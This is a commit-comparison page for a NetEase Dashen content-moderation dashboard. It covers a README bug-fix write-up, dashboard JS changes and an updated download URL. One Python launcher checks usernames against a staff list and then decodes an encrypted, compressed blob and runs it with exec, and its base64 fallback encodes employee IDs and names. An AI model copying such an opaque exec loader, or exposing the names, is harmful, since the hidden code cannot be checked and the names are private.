Compare commits

...

2 Commits

9 changed files with 370 additions and 354 deletions

View File

@ -1,17 +1,46 @@
# 网易大神实时审核数据监控 # Bug修复前端量级显示依赖双业务数据
## 项目结构 ## 问题描述
- releases/: 发布版本
- latest/: 最新稳定版本
- v[版本号]/: 历史版本
- dev/: 开发版本
- latest/: 最新开发版本
- v[版本号]-dev/: 历史开发版本
- config/: 配置文件目录
## 版本管理 在使用【网易大神实时审核数据监控系统】时发现一个 Bug当前系统要求必须同时输入清风审核和大神 CMS 的 Cookie 才能登录。然而,当用户实际只负责其中一项业务(例如,只做清风审核,不做大神 CMS 的内容处理),并且在统计周期内(如当前小时)只有该项业务产生数据量时,系统前端的【当前小时量级】和【全天量级】等指标会一直显示"加载中",无法正常展示数据。
- main分支稳定发布版本
- dev分支开发版本
## 自动运行 ## 问题原因
使用 `download_auto_run.py` 脚本拉取并启动最新版本
通过代码分析,我们发现以下几个关键问题:
1. **前端数据处理逻辑中的强依赖**
- 在`updateDashboard``updateStats`函数中,使用了类似`if (data.breeze && data.breeze.hourly)``if (data.cms && data.cms.hourly)`的条件判断
- 这导致当某个业务系统无数据时整个数据更新逻辑会跳过而不是用默认值如0处理
- 结果是只要有一个业务系统无数据,前端就无法正确显示总量级
2. **后端总量级计算逻辑中的安全性不足**
- 后端在计算总量级时没有充分处理数据为空或格式不一致的情况
- 没有使用`try-except`捕获可能的异常,如类型转换错误
- 没有考虑所有可能的数据结构情况,如某个数据源完全缺失
## 解决方案
我们进行了以下修改来解决这些问题:
1. **优化前端数据处理逻辑**
- 修改`updateDashboard``updateStats`函数,使用默认值处理潜在的空数据
- 使用析构与默认值模式:`const breezeHourly = data.breeze && data.breeze.hourly ? data.breeze.hourly : { total: 0, weighted_total: 0, categories: {} };`
- 确保即使某个业务数据不存在也会使用默认值0而不是跳过显示
2. **增强后端总量级计算的健壮性**
- 添加类型检查:`isinstance(breeze_hourly['stats'], dict)`确保数据为正确类型
- 添加空值处理:`float(breeze_hourly['stats']['weighted_total'] or 0)`确保数值可以转换
- 添加异常处理:用`try-except`包裹整个计算逻辑确保即使计算出错也不会中断API响应
## 测试方法
修复后,以下场景均应正常工作:
1. 用户同时使用清风审核和大神CMS原先也正常
2. 用户只使用清风审核大神CMS无数据修复后可正常显示
3. 用户只使用大神CMS清风审核无数据修复后可正常显示
4. 某业务暂无量级,另一业务有量级(修复后可正常显示)
## 改进总结
这些更改大大提高了系统的健壮性和用户体验,特别是对于那些只负责单一业务线的审核人员。系统现在可以在各种数据场景下正确显示量级信息,无论数据源是否完整。

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -27,7 +27,7 @@ except:
# 基本配置 # 基本配置
#COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/" #COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/"
COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/releases/latest/" COS_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/"
TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp") TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp")
LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt") LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt")
@ -85,7 +85,7 @@ def get_latest_version():
"""获取最新版本号""" """获取最新版本号"""
try: try:
#version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址 #version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址
version_url = "http://cos.ui-beam.com/work_scripts/monitor/releases/VERSION.txt" # 正式版本版本号地址 version_url = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本版本号地址
response = urllib2.urlopen(version_url) response = urllib2.urlopen(version_url)
version = response.read().strip() version = response.read().strip()
return version return version

View File

@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random
from urllib import request as _req from urllib import request as _req
import threading,importlib,subprocess import threading,importlib,subprocess
def _u4spFJjOudXQ(d,k): def _xlyZMKLYEdcp(d,k):
return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1)))
def _oan24KuHy(t,m,is_error=False): def _o0TWFSjnC(t,m,is_error=False):
try: try:
try: try:
from playsound import playsound from playsound import playsound
@ -33,90 +33,90 @@ def _oan24KuHy(t,m,is_error=False):
print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n")
return False return False
def _gGH0GWVKzJJ(t,m,e=0): def _qkiHPbi8OWV(t,m,e=0):
_oan24KuHy(t,m,e==1) _o0TWFSjnC(t,m,e==1)
def _wY4F1hg37(): def _ilhqf1n98():
_p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110]
return ''.join([chr(int(c)) for c in _p]) return ''.join([chr(int(c)) for c in _p])
def _Y6RHmpvX(): def _jAkip8V1():
_e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382]
return ''.join([chr(int(c)) for c in _e]) return ''.join([chr(int(c)) for c in _e])
def _UucMHUlT(): def _ou86QoBv():
_e=[31243,24207,26080,27861,21551,21160,58,32] _e=[31243,24207,26080,27861,21551,21160,58,32]
return ''.join([chr(int(c)) for c in _e]) return ''.join([chr(int(c)) for c in _e])
def _zJnQO0zF(): def _HBjzMjbw():
_e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992]
return ''.join([chr(int(c)) for c in _e]) return ''.join([chr(int(c)) for c in _e])
def _ai41mwqhbZ(): def _zzH0BB5x8J():
try: try:
_TPB2AaQC=getpass.getuser().upper() _MAMMjVKI=getpass.getuser().upper()
_yWRVqZPV=os.path.basename(os.path.expanduser("~")).upper() _UH9lSkLl=os.path.basename(os.path.expanduser("~")).upper()
# 转换为小写进行比较 # 转换为小写进行比较
_Pw5eFewc=_TPB2AaQC.lower() _sO0nU8VX=_MAMMjVKI.lower()
_dZjE1je=None _C1CgQXU=None
_oMo7wyh4=_wY4F1hg37() _VlaCk4br=_ilhqf1n98()
_s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time())
try: try:
_h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)}
_r=_req.Request(_oMo7wyh4,headers=_h) _r=_req.Request(_VlaCk4br,headers=_h)
with _req.urlopen(_r,timeout=5) as _resp: with _req.urlopen(_r,timeout=5) as _resp:
_fwYU7nW=_resp.read().decode() _owIzrGX=_resp.read().decode()
_dZjE1je=json.loads(_fwYU7nW) _C1CgQXU=json.loads(_owIzrGX)
except:pass except:pass
if not _dZjE1je: if not _C1CgQXU:
try: try:
_fwYU7nW=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() _owIzrGX=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode()
_dZjE1je=json.loads(_fwYU7nW) _C1CgQXU=json.loads(_owIzrGX)
except:pass except:pass
_tgvm6I81V=False _BZnDP2266=False
if _dZjE1je: if _C1CgQXU:
for _id,_n in _dZjE1je.items(): for _id,_n in _C1CgQXU.items():
# 转换ID为小写进行比较 # 转换ID为小写进行比较
_SsFxjqx=_id.lower() _UEydzC1=_id.lower()
# 不区分大小写的比较 # 不区分大小写的比较
if (_Pw5eFewc==_SsFxjqx or if (_sO0nU8VX==_UEydzC1 or
_yWRVqZPV.lower()==_SsFxjqx or _UH9lSkLl.lower()==_UEydzC1 or
_Pw5eFewc.startswith(_SsFxjqx) or _sO0nU8VX.startswith(_UEydzC1) or
_yWRVqZPV.lower().startswith(_SsFxjqx) or _UH9lSkLl.lower().startswith(_UEydzC1) or
_SsFxjqx in _Pw5eFewc or _UEydzC1 in _sO0nU8VX or
_SsFxjqx in _yWRVqZPV.lower()): _UEydzC1 in _UH9lSkLl.lower()):
_tgvm6I81V=True _BZnDP2266=True
break break
if not _tgvm6I81V: if not _BZnDP2266:
_UppTddnqJ=_Y6RHmpvX() _WcEecQLmX=_jAkip8V1()
_gGH0GWVKzJJ("访问被拒绝",_UppTddnqJ,1) _qkiHPbi8OWV("访问被拒绝",_WcEecQLmX,1)
return False return False
return True return True
except: except:
return False return False
if _ai41mwqhbZ(): if _zzH0BB5x8J():
# 显示验证成功消息 # 显示验证成功消息
_gGH0GWVKzJJ("用户验证",_zJnQO0zF(),0) _qkiHPbi8OWV("用户验证",_HBjzMjbw(),0)
_k=b'\xd0\xd6}\x0b\x95\x0f\xde\xf3\x14\x02U\xec\xe0w\xf3O' _k=b'X\x8cc\xf2^e\x15\x10X\r6\x82\xb1\x84\xc5\xd6'
_e=b's7k<7=wJ=C4E<_z0u$$&mVfTQA!oa4LU*`CU;(Mbz<gK0v6vVzr9ZB&f#2aYvDbUQPLJG>KaN*7)U82oH~>tw+2Z(&`6;<o+f0HjcRR;o_?iX;sNSX!e&C4ViVsg_7eo0{<)vEiGk<Nyh7i2C7%*~^lQylGlM%Iiw!}ElxvX5dBxe)S(GR?S#naIkpq>VF{uTOxT`dAx&u`KkhOyiVfapCH!KB+I<FtRu8i5g$DHX-5Cowe~ylWNF@R~YFhM>O)NhvxG4gOR)>rAsxgR{0o(}yLBHJsO4MZPl^vf6$(A|TD}IWA2s9#TXSOgb8PQXZR&WV0RN2VKu<9bh(D{6D(G?n~{X>ft1bsW`eqJgN_(qO=KTcd|cHU1z0Hv62h4mxpr#uubxmG@k>(t+^Dcys6TcqQp1A&9>^>@TC(eb(#@A>NOM1b=~1_wM?u<j#IhYZT}WK{L;M~I8z&f8mo2Y)=Zrp-T}H2T8t>*J}Rf(NWf@~$?`iw#d&;;Ch_QelPK9{h12#gH03jxLXXV;<~`F%gnBZZRAj6U1<VnGmmz%WSeDfU@Z!rY6&Fi}*9AMi=eAQbP#NILH`hx6c}B#Olnd9qTZtjkZ^KA&_NLg_Bh~4L%eOZ7S*sJPga}?r?z`@=P1;SnPOHBXj!Tx$0q$!vxEE-ig}2>i0A9Ae(NIk}RL5Qo`qnyHtq|t>oiiTK-++ZyfJYifv>Nd}=$%nZp-FcN?B#v$CJBy)bS4k&c=Nr~is(d12!z!80@hrdhfHH>WLZ_Rx}3LC+b8#<L5C+9E>c(Qbbd)}BPwt}_SgUHF^7(F`5v@Jep~N)xBit?xl9q;s{e;!qILjp2Z|c9y@+;lMlS}_$>zza&0=Yzftcr?RqVNxKbMnQ`%A^w$q})Hp;Cz;X>e0z$3svr9_)2NxRg)8lM;Ct|4(;;CduvFwHH#n^idMna+w%%_#ulZWXC@`cSQ!IH#v~I{utstuse!zI*W!iKHG2ZZ@xb!Ke;$~9ND%7E(ogdAm_TcBxAiaCJ$2YdN!2V{RLcU&eWIoq~)mt^qd2Bio`EZ4r6s`mlyr!wxi|<M6_P_ajq#YmieIB7l7z4&BNe3?sL0`w~|*u2!uPI?2>gulmyH<Rh3NB!h1)HQ%*VFET!1YKj1;u-%tWLp54+ryjK>xImoB^JMlC9O4Q)WOe@6|xGJ3DQTzuQ#6()K2I?@E6(?Hb#Q6Se_fji1qbbWMoauLv19qJ`ocpk8_^F!1fOpOP4KPx1&h<OS7e7kggwk2g(%fp|Lc+dPB&W4MS(vlUPfVv^2Fsy=?td7P&onq)_^ePi7o+NwK#}2b+8bZJx2|$rqxfUJq};Yfm%p`NRD&XaD^%A^Ka8Bk`P@r`5ppMn23y$i7&L1pK{8qH%a!FM5<tyJSzZy7>-INu$s>2pkY_1b|B;PoyS*TDK6&f}K66Oq!+Na{QSPkROXlItLltchUtM;XqDl8s^(+GE#q??+@T6}{pcM^H#u@ZTql-%37vQ9C+ZlpYXPIWSWr5OtshodDS?X#`qp_5F_mGtReb;XrkYJN+LP2;mlm3^?+Xl_2ufi2>V(n?sGX{iyQ%HIJ*G)#I59}0?ed7vdi#bv-1-J!B$wsj}veri@B71a)rk=BL%H(oz4=^2hO<8^%8TzK_V*2}XMIk}iu=C23R?kfo;EvE1_&28vN7wC@|H~5*E(IQn6%3YPS`NWXubto_n;K5?ZJoQ)r|Ox94*K%868c@7i_ikw8CQ4Z9dhp}Vj0zS#XO<deZs;SEduCLS4hVRoe{+6DAQigk#0Pn(z*Xumh*KBdK8n)S08xDbv15o-~2c@A1TUtV{4RAQlr`?i9`MQ(-be5m0wz#xqXAOD;buHfX?Asmz;|ePkGCC0pu01`{IW76W_4&7b)@r`zSmLQ3o^D>kStcAH3<uVX~ST{RMlYQ?}y8V8N%twCSPr_0O|yj_FQ<6=DNP>1%Sz)U~UQ!T+njmx+b)>KU3GBK7KnIm&tD<!e)y=yjxfMZUk;4CdOS?8wY{sJg{~4#Vw(5B&5U5mZo4r$+CM+?A!Wl<RIgG@d_OY^_524pTKt(U01owYn}l1t)@3HS3jw=>rA@B(ftHZ#01SRdl8@Pk2!@k|UZ0|7g`Dt6+3%Im0<@#+tc@YCr^tYkRWmg|4UHYZ!<$1&ak&DtLbd?BR{fAA&S$zoX;4t08PkY6JNa3-~yqdC81l=C^h8q)M0vZpXWQ%PVLMR>EuZ!zrP<ZX&ijA`dWN7zZ138-x)xB2L`*|EUaIJ54-9Rl}tHRxn14nHL=A<RGK1>u5aJ`~b!R6^Jj<8Gr;s5BcJ9z5xvLI1Qw6lB$Om{2C69R!|@g8Q30UP16|e^7j`3AtD>7i|GNnEb*!|Pf5<f9d0_Xca}bfFTw&lW;Kav3xXN?3Ouk+m%WOjJeJ=sj;(nOt3coLVqyR@#NC0lW<v' _e=b'AQ0ZFBMQb=K=KJ4Q{d499wqQb>J4y-4tU!tG4h{XNG3@+dh*lL=`hW}&@9)jIgMpTh2<A>bAdEjg<f~}uv$_~5{NTzwI<p-iodk9|6$piGw{vl<k7``FB86a0##9;+$l1#sj4}iVvJi~4oady(^|Q3-#O0q!s3JFKAt8ia>kchXlQV}fc%Q*O^MIpYxK>RvKpE14Bj-rM>WjlP1_gg%;#QvkXP-zYwlq)(d*i9Wg4c%cESUNG%*V(JMi(U%CFpJ7}^Y%g``TrASQUM&%D(tf^-uTy~fF-j@0<{{?#2>bJP2Dv2;__)i{sw05y3Q1MRI6?CAp-%r^vyQEyc@t;~#CW)bsRA&c*7<u}<ZZCN=xD()Aayx8=y5opFg;9)&2AKh*HdnY+}c#vSP{7ND-H1o`EX|DVufw_sbp;jfZ{lE{$Az#=oInsgw<iDES1_`Gkrj^~;u-)ErX`n3|lJRRF9VS-(k`CE?3x6JYws5&5gQ}x$h5cA8l!{6fuB-NiSV9to$=sDeWflbi%GJ^bEms(-$aPWj1(%wajg}94TuZkJ6q&Yap%MMGolRAL9B=SltGO^;0qWLMzl~M+vMdj9*aWoF3VIhy=b2WBJ<Jn3Z`z9KnnVC@(eVvZPhyp+qO^_P94UJu#_^%+MIl`*P2mV#>EvDq4ei69%QSsnonJ0j1vF@sa*QOSW_m3c(L8;jj&rlm2pt5ze{ee9q>?fv@VY^hWWQq;?PEn{I4Nv{DFBO20<v1L!|op#PT4>5*1uKo>;p?narS(%mnf9Y5OfiMrU*$DzZ8OxZzU5hrzFXBx!sV9GIW2XGE|Hd<_)9FF%}OZVU<jR?s;PYR(UKdHPUE{jYZ8ch3TrtoRMET3Bvhio`!OFbC~cns<`t`K})ZFYB)l}C4Vprmat~FmbPoSbN+-Q-yIruuDn4Qu9Nd3etnr=xL$F#BWf<|aC?=}udVdiJ4$8BX3C}_c0&Bbdr?7>c7)|yZzx%J=j0*Z^waa3P}bFJfBT$isJ)~??+JF-Y5*~TE5)Kfbzee|1-@Jr=<3RCrEfLw0-iCp#R<NO+ZdjR=TOj*%<e!Ay2Rqm+V;b@Mswb`MVbD>B^hvJ`<*l|S$7QvWXNl}Uv3B58JaJ>lZbH=+Y~1!=g$)_bMGR!j-xc87KhBjcRk%$b;rb)Y61mh!jAqkhd~bZ^d<j{01q*POddo@&4BxKStvP;l?%x7e+V_tXhQ(Y(B>5WQiZFa6rrw=Gs96J%y_PoT*GAOMz1A5+*N@+$lW@igD+fr%9x<6@6CSP6_?PX9>0<Kj*-83B^A?ggF9O@sb6NVpZWA{i~A~)mJ~eG=3PX^E24cwZ?=7<+pyL#1#lGRqYlZn^yXJ4wbLl=K!Fh-jseC9(_Wy(4Lv%5nr73zni|uwk~G?Ir}<PJn9xC27(F+jH2X%2_p(DBZ;INTwkcK}2oPrT9pTTm8Wq=6%TIIZlsCP5?nab6q~A1fO|Ep<JI<u9>>6$$m+HdNE74RZ+=_3EmlokWHfm5U?c2<RV)nG873B#c@<O8Hf69skw!NhI+;8v#6S7XN8>ERf5NrlS<IQ#eGag?^yIh)wm?E+sn?fbXULPU|^|=(EKvS91Nw;Pun6-zcI*eJ~=@GwV>XFbNn-@gshiU_WhBLMQRrSS(GYQS>&3j)Udzk@n8o(}kv3=%`aBaEujJ+myv&3+JfA%O7omPmLkz@+5<C23<%ISD(<;SHfY=BZ^LiLf@LkVjI1Bx6X(mlKeQGJX@GwS2)O=iC#wx|jEVGWBs2D|Z)6-(M4<GGbA-C<wxgG$NI9;s{cv3^)D8xR|&B*s|xSEeSx)I$N9FJ$*W15oV00U6@}7=Gk?*-$z3=#I53qeF;tOQb5f+mq;h9*X_$iM|U-Fo;bRU(nN?M%u)ib8;f{nr-+srvh|%PEX%n>F9*uHgB*%AGv|6F*1=`JhQ(IKBah$!sadPM3FVnVKHnoAKzeYjqu3P#(J}BVnc-G>7OBBb;TNrw3uZMU@y9Yj?{EIK<T;7y*v8gAmH11#i=G>L-Ut&K&NKcFC6i77yoWi*yIgWWo-$<<o8?y#X0_{oq)N{<VhH!jeVT0{()X#r3__jbwL%5=Wd=3o*r${19vi7!_cgpcQVV}U<$v8b<A1<muZh4;u;!ppb>cp$)UutI_tizjnNyf;S#jwpziLXPH_VBH~IZVU`wZ|CJdT<S_=+4@spCKE#1Bl=tcW!KQxWxLveQXov5G?k0!#@Khc1qs#PwT({0d@SBr96bG_<rck>dZ@F(}D8O+C%2g7g`5lsRfFG^@mr)OWet@H4kozgKV((2EkL-v6j@A5iouvfZ>S-?#7uoZ3K2cs63k%9o4hPl%XzW8)+aM3L>1G67P=bK^I14gZ{Oq~oV|I8qM<fzHmDmv;1T5&I9f@ZF^T-QNCaGAV7-(F9YBO1X9sR+x^h|=QQH?R'
try: try:
_d=base64.b85decode(_e) _d=base64.b85decode(_e)
_x=_u4spFJjOudXQ(_d,_k) _x=_xlyZMKLYEdcp(_d,_k)
_c=zlib.decompress(_x) _c=zlib.decompress(_x)
exec(compile(_c.decode('utf-8'),'<string>','exec')) exec(compile(_c.decode('utf-8'),'<string>','exec'))
except Exception as e: except Exception as e:
_gGH0GWVKzJJ("错误",_UucMHUlT()+str(e)[:50],1) _qkiHPbi8OWV("错误",_ou86QoBv()+str(e)[:50],1)
sys.exit(1) sys.exit(1)
else: else:
time.sleep(1) time.sleep(1)

View File

@ -827,7 +827,8 @@
</div> </div>
<div class="container"> <div class="container">
<div class="panel"> <!-- Breeze工单系统 -->
<div class="panel" id="breeze-panel">
<div class="panel-header"> <div class="panel-header">
<h2>清风审核</h2> <h2>清风审核</h2>
<div class="last-update" id="breeze-last-update">最后更新: 暂无</div> <div class="last-update" id="breeze-last-update">最后更新: 暂无</div>
@ -864,7 +865,8 @@
</div> </div>
</div> </div>
<div class="panel"> <!-- CMS工单系统 -->
<div class="panel" id="cms-panel">
<div class="panel-header"> <div class="panel-header">
<h2>大神CMS</h2> <h2>大神CMS</h2>
<div class="last-update" id="cms-last-update">最后更新: 暂无</div> <div class="last-update" id="cms-last-update">最后更新: 暂无</div>
@ -924,7 +926,6 @@
<div class="data-total"> <div class="data-total">
<div class="label">折算总计</div> <div class="label">折算总计</div>
<div class="value" id="cms-daily-weighted">-</div> <div class="value" id="cms-daily-weighted">-</div>
</div>
</div> </div>
</div> </div>
</div> </div>
@ -932,63 +933,6 @@
<!-- CMS系数设置对话框 --> <!-- CMS系数设置对话框 -->
<div id="settings-dialog" class="dialog"> <div id="settings-dialog" class="dialog">
<div class="dialog-content">
<span class="close" onclick="document.getElementById('settings-dialog').style.display='none'">&times;</span>
<h2>CMS系数设置</h2>
<div class="settings-form">
<div class="form-group">
<label for="cms-coefficient-comment">评论系数:</label>
<input type="number" id="cms-coefficient-comment" step="0.01" min="0" max="100" />
</div>
<div class="form-group">
<label for="cms-coefficient-feed">动态系数:</label>
<input type="number" id="cms-coefficient-feed" step="0.01" min="0" max="100" />
</div>
<div class="form-group">
<label for="cms-coefficient-complaint">举报系数:</label>
<input type="number" id="cms-coefficient-complaint" step="0.01" min="0" max="100" />
</div>
<button id="save-settings-button">保存</button>
</div>
</div>
</div>
<!-- Breeze系数设置对话框 -->
<div id="breeze-settings-dialog" class="dialog">
<div class="dialog-content">
<span class="close"
onclick="document.getElementById('breeze-settings-dialog').style.display='none'">&times;</span>
<h2>Breeze系数设置</h2>
<div class="settings-form" id="breeze-settings-form">
<!-- 系数输入字段将在JS中动态生成 -->
<div class="form-group loading">
<p>正在加载系数数据...</p>
</div>
<button id="save-breeze-settings-button">保存</button>
</div>
</div>
</div>
<!-- 版本更新通知弹窗 -->
<div id="versionDialog" class="dialog">
<div class="dialog-content">
<span class="close" onclick="document.getElementById('versionDialog').style.display='none'">&times;</span>
<h2 id="versionDialogTitle">系统版本检测</h2>
<div class="version-info">
<p>当前版本: <span id="currentVersion">-</span></p>
<p>最新版本: <span id="onlineVersion">-</span></p>
<p id="versionStatus"></p>
<p class="check-time">上次检查: <span id="lastCheckTime">-</span></p>
</div>
<div style="display: flex; justify-content: flex-end;">
<button id="updateButton" class="dialog-button update" style="display: none;">立即更新</button>
<button id="close-version-dialog" class="dialog-button">关闭</button>
</div>
</div>
</div>
<!-- 无法识别工单弹窗 -->
<div id="unrecognizedIssuesDialog" class="dialog">
<div class="dialog-content"> <div class="dialog-content">
<span class="close" onclick="document.getElementById('unrecognizedIssuesDialog').style.display='none'">&times;</span> <span class="close" onclick="document.getElementById('unrecognizedIssuesDialog').style.display='none'">&times;</span>
<h2>无法识别的工单</h2> <h2>无法识别的工单</h2>
@ -1140,28 +1084,51 @@
// 更新仪表盘 // 更新仪表盘
function updateDashboard(data) { function updateDashboard(data) {
try { try {
// 更新统计栏数据 // 获取平台可用性信息
if (data.breeze && data.breeze.hourly) { const breezeAvailable = data.breeze_available !== undefined ? data.breeze_available : true;
const cmsAvailable = data.cms_available !== undefined ? data.cms_available : true;
const inspectAvailable = data.inspect_available !== undefined ? data.inspect_available : true;
// 控制面板显示
document.getElementById('breeze-panel').style.display = breezeAvailable ? 'block' : 'none';
document.getElementById('cms-panel').style.display = cmsAvailable ? 'block' : 'none';
document.getElementById('inspect-panel').style.display = inspectAvailable ? 'block' : 'none';
// 根据可用平台调整总量级显示标题
let totalPlatforms = [];
if (breezeAvailable) totalPlatforms.push("清风审核");
if (cmsAvailable) totalPlatforms.push("大神CMS");
if (inspectAvailable) totalPlatforms.push("CC审核平台");
const platformsText = totalPlatforms.join(" + ");
const totalCard = document.querySelector('.stats-card.total h3');
totalCard.textContent = `总计(折算量)- ${platformsText || "无可用平台"}`;
// 更新Breeze工单系统面板数据
// 即使breeze数据不存在也使用默认值而不是直接返回
const breezeHourly = data.breeze && data.breeze.hourly ? data.breeze.hourly : { total: 0, weighted_total: 0, categories: {} };
const breezeDaily = data.breeze && data.breeze.daily ? data.breeze.daily : { total: 0, weighted_total: 0, categories: {} };
// 更新顶部统计数据 // 更新顶部统计数据
document.getElementById('breeze-total').textContent = data.breeze.hourly.total || '0'; document.getElementById('breeze-total').textContent = breezeHourly.total || '0';
document.getElementById('breeze-daily-total').textContent = data.breeze.daily ? (data.breeze.daily.total || '0') : '0'; document.getElementById('breeze-daily-total').textContent = breezeDaily.total || '0';
// 更新Breeze工单系统面板 // 更新Breeze工单系统面板
document.getElementById('breeze-hourly-count').textContent = data.breeze.hourly.total || '-'; document.getElementById('breeze-hourly-count').textContent = breezeHourly.total || '0';
document.getElementById('breeze-hourly-weighted').textContent = data.breeze.hourly.weighted_total ? data.breeze.hourly.weighted_total.toFixed(2) : '-'; document.getElementById('breeze-hourly-weighted').textContent = breezeHourly.weighted_total ? breezeHourly.weighted_total.toFixed(2) : '0.00';
document.getElementById('breeze-daily-count').textContent = data.breeze.daily ? (data.breeze.daily.total || '-') : '-'; document.getElementById('breeze-daily-count').textContent = breezeDaily.total || '0';
document.getElementById('breeze-daily-weighted').textContent = data.breeze.daily ? (data.breeze.daily.weighted_total || '-').toFixed(2) : '-'; document.getElementById('breeze-daily-weighted').textContent = breezeDaily.weighted_total ? breezeDaily.weighted_total.toFixed(2) : '0.00';
// 更新小时类别数据 // 更新小时类别数据
const breezeHourlyCategories = document.getElementById('breeze-hourly-categories'); const breezeHourlyCategories = document.getElementById('breeze-hourly-categories');
if (data.breeze.hourly.categories) { if (breezeHourly.categories && Object.keys(breezeHourly.categories).length > 0) {
let categoriesHTML = ` let categoriesHTML = `
<div class="category-header"> <div class="category-header">
<div class="name">类别</div> <div class="name">类别</div>
<div class="count">数量</div> <div class="count">数量</div>
<div class="weighted">折算值</div> <div class="weighted">折算值</div>
</div>`; </div>`;
for (const [name, info] of Object.entries(data.breeze.hourly.categories)) { for (const [name, info] of Object.entries(breezeHourly.categories)) {
if (info.count > 0) { if (info.count > 0) {
categoriesHTML += ` categoriesHTML += `
<div class="category-item"> <div class="category-item">
@ -1181,14 +1148,14 @@
// 更新日类别数据 // 更新日类别数据
const breezeDailyCategories = document.getElementById('breeze-daily-categories'); const breezeDailyCategories = document.getElementById('breeze-daily-categories');
if (data.breeze.daily.categories) { if (breezeDaily.categories && Object.keys(breezeDaily.categories).length > 0) {
let categoriesHTML = ` let categoriesHTML = `
<div class="category-header"> <div class="category-header">
<div class="name">类别</div> <div class="name">类别</div>
<div class="count">数量</div> <div class="count">数量</div>
<div class="weighted">折算值</div> <div class="weighted">折算值</div>
</div>`; </div>`;
for (const [name, info] of Object.entries(data.breeze.daily.categories)) { for (const [name, info] of Object.entries(breezeDaily.categories)) {
if (info.count > 0) { if (info.count > 0) {
categoriesHTML += ` categoriesHTML += `
<div class="category-item"> <div class="category-item">
@ -1207,7 +1174,8 @@
} }
// 更新最后更新时间 // 更新最后更新时间
document.getElementById('breeze-last-update').textContent = '最后更新: ' + data.breeze.hourly_update; if (data.breeze) {
document.getElementById('breeze-last-update').textContent = '最后更新: ' + (data.breeze.hourly_update || '未知');
// 更新时间戳 // 更新时间戳
if (data.breeze.hourly_update) { if (data.breeze.hourly_update) {
@ -1219,21 +1187,33 @@
} }
// 更新CMS数据 // 更新CMS数据
if (data.cms && data.cms.hourly) { // 即使cms数据不存在也使用默认值而不是直接返回
const cmsHourly = data.cms && data.cms.hourly ? data.cms.hourly : {
